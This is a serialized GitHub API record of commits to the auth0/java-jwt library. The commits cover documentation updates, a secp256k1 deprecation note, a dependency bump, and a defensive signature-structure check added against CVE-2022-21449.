followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj]  }(j0]  
jimmyjamesj2]  J7 j	]  MDQ6VXNlcjI3NjIyNQ==j4]  2https://avatars.githubusercontent.com/u/276225?v=4j6]  h3j]  'https://api.github.com/users/jimmyjamesj+]  https://github.com/jimmyjamesj9]  1https://api.github.com/users/jimmyjames/followersj;]  >https://api.github.com/users/jimmyjames/following{/other_user}j=]  7https://api.github.com/users/jimmyjames/gists{/gist_id}j?]  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jA]  5https://api.github.com/users/jimmyjames/subscriptionsjC]  ,https://api.github.com/users/jimmyjames/orgsjE]  -https://api.github.com/users/jimmyjames/reposjG]  8https://api.github.com/users/jimmyjames/events{/privacy}jI]  7https://api.github.com/users/jimmyjames/received_eventsjK]  UserjM]  uparents]}(j]  (298b95458199fce91a44872c268530edcd2f2233j]  \https://api.github.com/repos/auth0/java-jwt/commits/298b95458199fce91a44872c268530edcd2f2233j+]  Qhttps://github.com/auth0/java-jwt/commit/298b95458199fce91a44872c268530edcd2f2233uastats}(totalK	additionsK	deletionsKufiles](}(j]  (07c86a4c59c91e22c3b4cd56aac8f0275042e784filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjg]  Kjh]  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/86239c589267d52c844f2fe87d47ea864ad7f33a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/86239c589267d52c844f2fe87d47ea864ad7f33a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=86239c589267d52c844f2fe87d47ea864ad7f33apatchX  @@ -46,7 +46,11 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
     }
 
     /**
-     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     * {@link Verification} implementation that accepts all the expected Claim values for verification, and
+     * builds a {@link com.auth0.jwt.interfaces.JWTVerifier} used to verify a JWT's signature and expected claims.
+     *
+     * Note that this class is <strong>not</strong> thread-safe. Calling {@link #build()} returns an instance of
+     * {@link com.auth0.jwt.interfaces.JWTVerifier} which can be reused.
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;u}(j]  (2756ddd88142eff2aa756aad6bc78facd09c3c21jm]  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javajo]  modifiedjg]  K
jh]  Kjq]  Kjr]  https://github.com/auth0/java-jwt/blob/86239c589267d52c844f2fe87d47ea864ad7f33a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajt]  https://github.com/auth0/java-jwt/raw/86239c589267d52c844f2fe87d47ea864ad7f33a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajv]  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=86239c589267d52c844f2fe87d47ea864ad7f33ajx]  XO  @@ -4,7 +4,19 @@
 
 
 /**
- * Used to verify the JWT for its signature and claims.
+ * Used to verify the JWT for its signature and claims. Implementations must be thread-safe. Instances are created
+ * using {@link Verification}.
+ *
+ * <pre>
+ * try {
+ *      JWTVerifier verifier = JWTVerifier.init(Algorithm.RSA256(publicKey, privateKey)
+ *          .withIssuer("auth0")
+ *          .build();
+ *      DecodedJWT jwt = verifier.verify("token");
+ * } catch (JWTVerificationException e) {
+ *      // invalid signature or claims
+ * }
+ * </pre>
  */
 public interface JWTVerifier {
 u}(j]  (df90ec025adf40be285ced27e1b1188dbe332804jm]  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javajo]  modifiedjg]  Kjh]  Kjq]  Kjr]  https://github.com/auth0/java-jwt/blob/86239c589267d52c844f2fe87d47ea864ad7f33a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajt]  https://github.com/auth0/java-jwt/raw/86239c589267d52c844f2fe87d47ea864ad7f33a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajv]  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=86239c589267d52c844f2fe87d47ea864ad7f33ajx]  X  @@ -7,7 +7,9 @@
 import java.util.function.BiPredicate;
 
 /**
- * Constructs and holds the checks required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid. Note that implementations are
+ * <strong>not</strong> thread-safe. Once built by calling {@link #build()}, the resulting {@link com.auth0.jwt.interfaces.JWTVerifier}
+ * is thread-safe.
  */
 public interface Verification {
 ueu(a043f0284389d4efd58494264ce5ba2c79332410}(sha(a043f0284389d4efd58494264ce5ba2c79332410node_idEC_kwDOAQtL0doAKGEwNDNmMDI4NDM4OWQ0ZWZkNTg0OTQyNjRjZTViYTJjNzkzMzI0MTAcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-02-18T13:55:04Zu	committer}(j]  GitHubj]  noreply@github.comj]  2022-02-18T13:55:04ZumessageDeprecation notice for secp256k1 curve in EC algorithm (#528)

* Deprecation notice for secp256k1 curve in EC algorithm

* Mentioned no support for secp256k1 after Java 15+tree}(j]  (2001816cac9cb9132bce43956131433f7b962777url^https://api.github.com/repos/auth0/java-jwt/git/trees/2001816cac9cb9132bce43956131433f7b962777uj]  `https://api.github.com/repos/auth0/java-jwt/git/commits/a043f0284389d4efd58494264ce5ba2c79332410
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiD6U4CRBK7hj4Ov3rIwAAJeIIALHTQpuOzvZzBINqe/ynCHbZ
/nIJIJYavQpzRQgHZNGn5BYD4ztMi7CSx1+/QWnJ247aM3E23UmWp/4JM7ddcF4i
ripr0W/MKvsJDHjBnOry8vG8UsXJlOw6cKvQfv+qESIxCGBo/5FwTABipO+kbOb3
fNJScYWzWBlU/hPhI5cdu0BNY5biphKAW1X/mH/p81zZ6GoOld+lRfnfb3bLbFiJ
Eng11qBlOteUEAhbNXZHk0yxNhstKKpX5192hkMi/I6IkLxM8OdPCJMv9fBdZYVf
KTSga/3L6TFAncXBEExmgRGIlFL5W4q07qaDQYhEEcpX7JqJefK+RrCn4GGsKeA=
=WUTE
-----END PGP SIGNATURE-----
payloadX  tree 2001816cac9cb9132bce43956131433f7b962777
parent f84a52796a99d02864f088789ab8c7f74eb6dcc2
author Poovamraj T T <poovamraj@gmail.com> 1645192504 +0530
committer GitHub <noreply@github.com> 1645192504 +0100

Deprecation notice for secp256k1 curve in EC algorithm (#528)

* Deprecation notice for secp256k1 curve in EC algorithm

* Mentioned no support for secp256k1 after Java 15+uuj]  \https://api.github.com/repos/auth0/java-jwt/commits/a043f0284389d4efd58494264ce5ba2c79332410html_urlQhttps://github.com/auth0/java-jwt/commit/a043f0284389d4efd58494264ce5ba2c79332410comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a043f0284389d4efd58494264ce5ba2c79332410/commentsj]  }(login	poovamrajidJ j]  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j]  &https://api.github.com/users/poovamrajj]  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj]  }(j]  web-flowj]  J/j]  MDQ6VXNlcjE5ODY0NDQ3j]  4https://avatars.githubusercontent.com/u/19864447?v=4j]  h3j]  %https://api.github.com/users/web-flowj]  https://github.com/web-flowj]  /https://api.github.com/users/web-flow/followersj]  <https://api.github.com/users/web-flow/following{/other_user}j]  5https://api.github.com/users/web-flow/gists{/gist_id}j]  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j]  3https://api.github.com/users/web-flow/subscriptionsj]  *https://api.github.com/users/web-flow/orgsj]  +https://api.github.com/users/web-flow/reposj]  6https://api.github.com/users/web-flow/events{/privacy}j]  5https://api.github.com/users/web-flow/received_eventsj]  Userj]  uparents]}(j]  (f84a52796a99d02864f088789ab8c7f74eb6dcc2j]  \https://api.github.com/repos/auth0/java-jwt/commits/f84a52796a99d02864f088789ab8c7f74eb6dcc2j]  Qhttps://github.com/auth0/java-jwt/commit/f84a52796a99d02864f088789ab8c7f74eb6dcc2uastats}(totalK	additionsK	deletionsKufiles]}(j]  (9fbb2138b5cbf59a85a0199d28c9f0455c212318filename	README.mdstatusmodifiedj]  Kj]  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/a043f0284389d4efd58494264ce5ba2c79332410/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/a043f0284389d4efd58494264ce5ba2c79332410/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=a043f0284389d4efd58494264ce5ba2c79332410patchX  @@ -46,10 +46,11 @@ The library implements JWT Verification and Signing using the following algorith
 | RS384 | RSA384 | RSASSA-PKCS1-v1_5 with SHA-384 |
 | RS512 | RSA512 | RSASSA-PKCS1-v1_5 with SHA-512 |
 | ES256 | ECDSA256 | ECDSA with curve P-256 and SHA-256 |
-| ES256K | ECDSA256 | ECDSA with curve secp256k1 and SHA-256 |
 | ES384 | ECDSA384 | ECDSA with curve P-384 and SHA-384 |
 | ES512 | ECDSA512 | ECDSA with curve P-521 and SHA-512 |
 
+⚠️ Note - ECDSA with curve secp256k1 and SHA-256 will not be supported for Java 15+ by this library since it has been (disabled in Java 15)[https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219]
+
 ## Usage
 
 ### Pick the Algorithmuau(9896c41000e8b606c9fce244908107f01d3b4896}(sha(9896c41000e8b606c9fce244908107f01d3b4896node_idEC_kwDOAQtL0doAKDk4OTZjNDEwMDBlOGI2MDZjOWZjZTI0NDkwODEwN2YwMWQzYjQ4OTYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-17T14:52:52Zu	committer}(j^  
Poovamraj T Tj
^  poovamraj@gmail.comj^  2022-03-17T14:52:52ZumessageRemove impl package exporttree}(j^  (1dca1c4da73775e5e76a902aba5793e1b07b7b25url^https://api.github.com/repos/auth0/java-jwt/git/trees/1dca1c4da73775e5e76a902aba5793e1b07b7b25uj^  `https://api.github.com/repos/auth0/java-jwt/git/commits/9896c41000e8b606c9fce244908107f01d3b4896
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj^  \https://api.github.com/repos/auth0/java-jwt/commits/9896c41000e8b606c9fce244908107f01d3b4896html_urlQhttps://github.com/auth0/java-jwt/commit/9896c41000e8b606c9fce244908107f01d3b4896comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9896c41000e8b606c9fce244908107f01d3b4896/commentsj	^  }(login	poovamrajidJ j^  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j^  &https://api.github.com/users/poovamrajj'^  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj^  }(j,^  	poovamrajj.^  J j^  MDQ6VXNlcjE1OTEwNDI1j0^  4https://avatars.githubusercontent.com/u/15910425?v=4j2^  h3j^  &https://api.github.com/users/poovamrajj'^  https://github.com/poovamrajj5^  0https://api.github.com/users/poovamraj/followersj7^  =https://api.github.com/users/poovamraj/following{/other_user}j9^  6https://api.github.com/users/poovamraj/gists{/gist_id}j;^  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j=^  4https://api.github.com/users/poovamraj/subscriptionsj?^  +https://api.github.com/users/poovamraj/orgsjA^  ,https://api.github.com/users/poovamraj/reposjC^  7https://api.github.com/users/poovamraj/events{/privacy}jE^  6https://api.github.com/users/poovamraj/received_eventsjG^  UserjI^  uparents]}(j^  (3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j^  \https://api.github.com/repos/auth0/java-jwt/commits/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j'^  Qhttps://github.com/auth0/java-jwt/commit/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108uastats}(totalK	additionsK 	deletionsKufiles]}(j^  (a1e30e310243c236953ec7875157ce6f550a2834filename"lib/src/main/java/module-info.javastatusmodifiedjc^  K jd^  KchangesKblob_urlzhttps://github.com/auth0/java-jwt/blob/9896c41000e8b606c9fce244908107f01d3b4896/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javaraw_urlyhttps://github.com/auth0/java-jwt/raw/9896c41000e8b606c9fce244908107f01d3b4896/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.java?ref=9896c41000e8b606c9fce244908107f01d3b4896patchX  @@ -1,8 +1,5 @@
 module com.auth0.jwt {
-    // remove transitive in next major release
     requires com.fasterxml.jackson.databind;
-    // remove in next major release
-    exports com.auth0.jwt.impl;
 
     exports com.auth0.jwt;
     exports com.auth0.jwt.algorithms;uau(2a1315b16f0284dc8453bafbe3b1acad4cb98681}(sha(2a1315b16f0284dc8453bafbe3b1acad4cb98681node_idEC_kwDOAQtL0doAKDJhMTMxNWIxNmYwMjg0ZGM4NDUzYmFmYmUzYjFhY2FkNGNiOTg2ODEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T11:30:35Zu	committer}(j^  GitHubj^  noreply@github.comj^  2022-05-06T11:30:35ZumessageUMerge pull request #582 from auth0/update-from-master-to-v4

Update from master to v4tree}(jx^  (050fa4a4dc01049a4b3c8cbf8fc1fa115d0d8a8burl^https://api.github.com/repos/auth0/java-jwt/git/trees/050fa4a4dc01049a4b3c8cbf8fc1fa115d0d8a8buj^  `https://api.github.com/repos/auth0/java-jwt/git/commits/2a1315b16f0284dc8453bafbe3b1acad4cb98681
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJidQbbCRBK7hj4Ov3rIwAAJucIAF+aQVkQADYEOTZZUggYHygU
OhB6iE1Vo86HNwDIBYWpKY/CXYBuYpjWxoR+wuaF6855dHx6i+/sBliZi6HobI2Q
tl895ReGBxDcX+DcxL/Uj8JEWq5DoHbn2Sedgdyuq/e3fifYdBEQsnDO+KVxQVEJ
kZ8kUjs7u0/w1He8He3cGeGzzUdcMENW+77HnAhEtDcAepK/lpUv+p5kLjWxatrq
3yvYRikJejnaJane3jQHIdkEgZbOG8dN+IibHrlauvW0KxSFUTITBQqYOsTzrAjx
dQ96ub0k/fOQtWgCkj+mB0JEZIPLknBa6IyrEP5K0D3ITuxKoHS5/jJP7fcNjS8=
=KomJ
-----END PGP SIGNATURE-----
payloadXW  tree 050fa4a4dc01049a4b3c8cbf8fc1fa115d0d8a8b
parent 4f79d67f7ad656a8bea4ba06cf3f2391750acf2f
parent 6f94d823682cf4ddb717d9e336c6f49004078b4b
author Poovamraj T T <poovamraj@gmail.com> 1651836635 +0200
committer GitHub <noreply@github.com> 1651836635 +0200

Merge pull request #582 from auth0/update-from-master-to-v4

Update from master to v4uuj^  \https://api.github.com/repos/auth0/java-jwt/commits/2a1315b16f0284dc8453bafbe3b1acad4cb98681html_urlQhttps://github.com/auth0/java-jwt/commit/2a1315b16f0284dc8453bafbe3b1acad4cb98681comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/2a1315b16f0284dc8453bafbe3b1acad4cb98681/commentsj~^  }(login	poovamrajidJ jz^  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j^  &https://api.github.com/users/poovamrajj^  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj^  }(j^  web-flowj^  J/jz^  MDQ6VXNlcjE5ODY0NDQ3j^  4https://avatars.githubusercontent.com/u/19864447?v=4j^  h3j^  %https://api.github.com/users/web-flowj^  https://github.com/web-flowj^  /https://api.github.com/users/web-flow/followersj^  <https://api.github.com/users/web-flow/following{/other_user}j^  5https://api.github.com/users/web-flow/gists{/gist_id}j^  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j^  3https://api.github.com/users/web-flow/subscriptionsj^  *https://api.github.com/users/web-flow/orgsj^  +https://api.github.com/users/web-flow/reposj^  6https://api.github.com/users/web-flow/events{/privacy}j^  5https://api.github.com/users/web-flow/received_eventsj^  Userj^  uparents](}(jx^  (4f79d67f7ad656a8bea4ba06cf3f2391750acf2fj^  \https://api.github.com/repos/auth0/java-jwt/commits/4f79d67f7ad656a8bea4ba06cf3f2391750acf2fj^  Qhttps://github.com/auth0/java-jwt/commit/4f79d67f7ad656a8bea4ba06cf3f2391750acf2fu}(jx^  (6f94d823682cf4ddb717d9e336c6f49004078b4bj^  \https://api.github.com/repos/auth0/java-jwt/commits/6f94d823682cf4ddb717d9e336c6f49004078b4bj^  Qhttps://github.com/auth0/java-jwt/commit/6f94d823682cf4ddb717d9e336c6f49004078b4buestats}(totalM,	additionsM	deletionsKufiles](}(jx^  (d81f9a1838cb80831b2da68ba3454a34c185f2f6filenameCHANGELOG.mdstatusmodifiedj^  Kj^  K changesKblob_url\https://github.com/auth0/java-jwt/blob/2a1315b16f0284dc8453bafbe3b1acad4cb98681/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/2a1315b16f0284dc8453bafbe3b1acad4cb98681/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=2a1315b16f0284dc8453bafbe3b1acad4cb98681patchX-  @@ -1,5 +1,17 @@
 # Change Log
 
+## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)
+
+**Security**
+- [SDK-3311] Added protection against CVE-2022-21449 [\#579](https://github.com/auth0/java-jwt/pull/579) ([poovamraj](https://github.com/poovamraj))
+
+## [3.19.1](https://github.com/auth0/java-jwt/tree/3.19.1) (2022-03-30)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.0...3.19.1)
+
+**Security**
+- Security: Bump `jackson-databind` to 2.13.2.2 [\#566](https://github.com/auth0/java-jwt/pull/566) ([evansims](https://github.com/evansims))
+
 ## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
 u}(jx^  (f649a7422a7796f5e5f5bc30e97ea28d0021a779j^  	README.mdj^  modifiedj^  K	j^  Kj^  K
j^  Yhttps://github.com/auth0/java-jwt/blob/2a1315b16f0284dc8453bafbe3b1acad4cb98681/README.mdj^  Xhttps://github.com/auth0/java-jwt/raw/2a1315b16f0284dc8453bafbe3b1acad4cb98681/README.mdj^  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=2a1315b16f0284dc8453bafbe3b1acad4cb98681j^  XZ  @@ -9,6 +9,8 @@
 
 A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
 
+> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
+
 If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
 
 > You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
@@ -46,10 +48,16 @@ implementation 'com.auth0:java-jwt:3.19.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.0</version>
+    <version>3.19.2</version>
 </dependency>
 ```
 
+### Gradle
+
+```gradle
+implementation 'com.auth0:java-jwt:3.19.2'
+```
+
 ## Available Algorithms
 
 The library implements JWT Verification and Signing using the following algorithms:u}(jx^  (b97ccc373f73d86939bcb5469c34e5ffb3198b2cj^   config/checkstyle/checkstyle.xmlj^  modifiedj^  Kj^  Kj^  Kj^  thttps://github.com/auth0/java-jwt/blob/2a1315b16f0284dc8453bafbe3b1acad4cb98681/config%2Fcheckstyle%2Fcheckstyle.xmlj^  shttps://github.com/auth0/java-jwt/raw/2a1315b16f0284dc8453bafbe3b1acad4cb98681/config%2Fcheckstyle%2Fcheckstyle.xmlj^  https://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=2a1315b16f0284dc8453bafbe3b1acad4cb98681j^  X  @@ -206,7 +206,7 @@
                      value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
         </module>
         <module name="LocalVariableName">
-            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <property name="format" value="^[a-z]([a-zA-Z0-9]*)?$"/>
             <message key="name.invalidPattern"
                      value="Local variable name ''{0}'' must match pattern ''{1}''."/>
         </module>u}(jx^  (b1b248896cf1d8d7992411a62b45538bbaab66ebj^  lib/build.gradlej^  modifiedj^  Kj^  Kj^  Kj^  bhttps://github.com/auth0/java-jwt/blob/2a1315b16f0284dc8453bafbe3b1acad4cb98681/lib%2Fbuild.gradlej^  ahttps://github.com/auth0/java-jwt/raw/2a1315b16f0284dc8453bafbe3b1acad4cb98681/lib%2Fbuild.gradlej^  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=2a1315b16f0284dc8453bafbe3b1acad4cb98681j^  X2  @@ -53,7 +53,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'u}(jx^  (b30460974099b5c16c1fb5eba7f52f08f156245bj^  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj^  modifiedj^  KPj^  Kj^  Kbj^  https://github.com/auth0/java-jwt/blob/2a1315b16f0284dc8453bafbe3b1acad4cb98681/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj^  https://github.com/auth0/java-jwt/raw/2a1315b16f0284dc8453bafbe3b1acad4cb98681/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj^  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=2a1315b16f0284dc8453bafbe3b1acad4cb98681j^  X  @@ -5,6 +5,7 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 
+import java.math.BigInteger;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
 import java.security.SignatureException;
@@ -48,8 +49,9 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(),
-                    jwt.getPayload(), JOSEToDER(signatureBytes));
+            validateSignatureStructure(signatureBytes, publicKey);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
                 throw new SignatureVerificationException(this);
@@ -145,23 +147,74 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
         return joseSignature;
     }
 
-    //Visible for testing
-    byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
+    /**
+     * Added check for extra protection against CVE-2022-21449.
+     * This method ensures the signature's structure is as expected.
+     *
+     * @param joseSignature is the signature from the JWT
+     * @param publicKey     public key used to verify the JWT
+     * @throws SignatureException if the signature's structure is not as per expectation
+     */
+    // Visible for testing
+    void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) throws SignatureException {
+        // check signature length, moved this check from JOSEToDER method
         if (joseSignature.length != ecNumberSize * 2) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
 
-        // Retrieve R and S number's length and padding.
-        int rpadding = countPadding(joseSignature, 0, ecNumberSize);
-        int spadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
-        int rlength = ecNumberSize - rpadding;
-        int slength = ecNumberSize - spadding;
+        if (isAllZeros(joseSignature)) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        // get R
+        byte[] rBytes = new byte[ecNumberSize];
+        System.arraycopy(joseSignature, 0, rBytes, 0, ecNumberSize);
+        if (isAllZeros(rBytes)) {
+            throw new SignatureException("Invalid signature format.");
+        }
 
-        int length = 2 + rlength + 2 + slength;
+        // get S
+        byte[] sBytes = new byte[ecNumberSize];
+        System.arraycopy(joseSignature, ecNumberSize, sBytes, 0, ecNumberSize);
+        if (isAllZeros(sBytes)) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        //moved this check from JOSEToDER method
+        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
+        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rLength = ecNumberSize - rPadding;
+        int sLength = ecNumberSize - sPadding;
+
+        int length = 2 + rLength + 2 + sLength;
         if (length > 255) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
 
+        BigInteger order = publicKey.getParams().getOrder();
+        BigInteger r = new BigInteger(1, rBytes);
+        BigInteger s = new BigInteger(1, sBytes);
+
+        // R and S must be less than N
+        if (order.compareTo(r) < 1) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        if (order.compareTo(s) < 1) {
+            throw new SignatureException("Invalid signature format.");
+        }
+    }
+
+    //Visible for testing
+    byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
+        // Retrieve R and S number's length and padding.
+        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
+        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rLength = ecNumberSize - rPadding;
+        int sLength = ecNumberSize - sPadding;
+
+        int length = 2 + rLength + 2 + sLength;
+
         final byte[] derSignature;
         int offset;
         if (length > 0x7f) {
@@ -180,37 +233,46 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
 
         // Header with "min R" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) rlength;
+        derSignature[offset++] = (byte) rLength;
 
         // R number
-        if (rpadding < 0) {
+        if (rPadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, 0, derSignature, offset, ecNumberSize);
             offset += ecNumberSize;
         } else {
-            int copyLength = Math.min(ecNumberSize, rlength);
-            System.arraycopy(joseSignature, rpadding, derSignature, offset, copyLength);
+            int copyLength = Math.min(ecNumberSize, rLength);
+            System.arraycopy(joseSignature, rPadding, derSignature, offset, copyLength);
             offset += copyLength;
         }
 
         // Header with "min S" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) slength;
+        derSignature[offset++] = (byte) sLength;
 
         // S number
-        if (spadding < 0) {
+        if (sPadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, ecNumberSize, derSignature, offset, ecNumberSize);
         } else {
-            System.arraycopy(joseSignature, ecNumberSize + spadding, derSignature, offset,
-                    Math.min(ecNumberSize, slength));
